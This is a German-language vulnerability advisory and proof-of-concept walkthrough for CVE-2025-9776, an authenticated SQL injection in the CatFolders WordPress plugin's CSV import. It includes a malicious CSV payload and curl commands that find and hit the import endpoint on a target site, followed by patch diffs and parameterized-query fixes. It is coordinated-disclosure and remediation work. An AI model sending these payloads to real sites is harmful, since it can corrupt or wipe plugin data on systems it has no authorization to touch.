
CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough
Schlüsselwörter: CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025
Eine authentifizierte SQL-Injection-Schwachstelle wurde im CatFolders WordPress-Plugin entdeckt, die es Benutzern mit Autor-Rechten ermöglicht, Datenbankabfragen durch bösartige CSV-Importe zu manipulieren.
Entdeckt von: Kai Aizen (SnailSploit)
Veröffentlicht: 2025
CVSS-Score: 6.5 (Mittel)
CWE: CWE-89 - SQL-Injection
CatFolders – Bändigen Sie Ihre WordPress-Medienbibliothek nach Kategorien enthält eine authentifizierte SQL-Injection-Schwachstelle in der CSV-Importfunktion. Die Spalte attachments aus einer vom Benutzer bereitgestellten CSV wird in eine Liste aufgeteilt und direkt an FolderModel::set_attachments() übergeben, das diese Werte ohne ordnungsgemäße Bereinigung oder Parametrisierung in rohe SQL IN (...)-Klauseln einfügt.
Diese Schwachstelle erlaubt authentifizierten Angreifern mit Autor-Rechten Folgendes:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Die Schwachstelle befindet sich im CSV-Import-Workflow:
Datei: includes/Rest/Controllers/ImportController.php
import_csv parst hochgeladene CSV ohne feldweise Bereinigungrestore_folders() ruft auf:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
Datei: includes/Models/FolderModel.php
set_attachments() erstellt rohes SQL durch Zeichenkettenverkettung:'raw' => 'post_id IN (' . $attachmentIds . ')'
Ein Angreifer mit Autor-Rechten (upload_files-Fähigkeit) kann bösartiges SQL über den CSV-Import-Endpunkt injizieren:
Schädliche CSV-Nutzlast:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Resultierende verwundbare Abfrage:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Dies verlässt die IN(...)-Klausel und verändert die Abfragesemantik, was potenziell alle Zeilen betrifft.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Typisches Ergebnis: /catf/v1/import-csv
Erstellen Sie eine Datei namens catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Durch den ermittelten Namespace ersetzen
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Erwartete Antwort:
{ "success": true }
Der Server erstellt und führt aus:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Dies kann umfassendere DELETE/INSERT-Operationen als beabsichtigt ausführen und oft Ordner-Anhangs-Beziehungen in der gesamten Datenbank löschen.
Führen Sie die eigenständige SQLite-Simulation aus, um die Schwachstelle sicher zu beobachten:
python3 poc/catfolders_sql_poc.py
Dies gibt die verwundbare Abfrage aus und zeigt, wie ein bösartiges Token alle Zeilen zurückgibt, während eine parametrisierte Version es korrekt ablehnt.
Sofortmaßnahme erforderlich:
Zwei minimale Härtungsschritte:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() erzwingen $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Ersetzen Sie alle rohen SQL-Verkettungen durch parametrisierte Abfragen mit $wpdb->prepare() von WordPress:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
Zusätzlich:
Ein vollständiger Patch ist in patch/catfolders_fix.patch verfügbar
CVE-2025-9776/
├── README.md # Diese Datei
├── poc/
│ ├── catf_inject.csv # Schädliche CSV-Nutzlast
│ └── catfolders_sql_poc.py # Sichere SQLite-Simulation
└── patch/
└── catfolders_fix.patch # Empfohlene Korrekturen
Forscher: Kai Aizen (SnailSploit)
Offenlegungsprozess: Koordiniert über das Wordfence Bug-Bounty-Programm
⚠️ WICHTIGER HAFTUNGSAUSSCHLUSS
Dieser Proof of Concept wird ausschließlich für defensive Forschung und Bildungszwecke bereitgestellt.
Unbefugter Zugriff auf Computersysteme ist illegal gemäß Gesetzen wie:
Verwendung auf eigene Gefahr. Die Forscher und SnailSploit übernehmen keine Haftung für Missbrauch dieser Informationen.
Bei Fragen oder weiteren Informationen zu dieser Schwachstelle:
Bleiben Sie sicher und halten Sie Ihre WordPress-Installationen auf dem neuesten Stand!
Zuletzt aktualisiert: 13. Oktober 2025
Die vollständige Beschreibung dieses Projekts, die Methodik und verwandte Forschung befinden sich unter:
https://snailsploit.com/security-research/cves/cve-2025-9776/
Erstellt von Kai Aizen — unabhängiger offensiver Sicherheitsforscher.
snailsploit.com · Forschung · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Gleicher Angriff. Anderes Substrat.
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk (AV:N) |
| Angriffskomplexität | Niedrig (AC:L) |
| Erforderliche Berechtigungen | Niedrig (PR:L) - Autor+ |
| Benutzerinteraktion | Keine (UI:N) |
| Auswirkungsbereich | Unverändert (S:U) |
| Vertraulichkeit | Keine (C:N) |
| Integrität | Niedrig (I:L) |
| Verfügbarkeit | Niedrig (A:L) |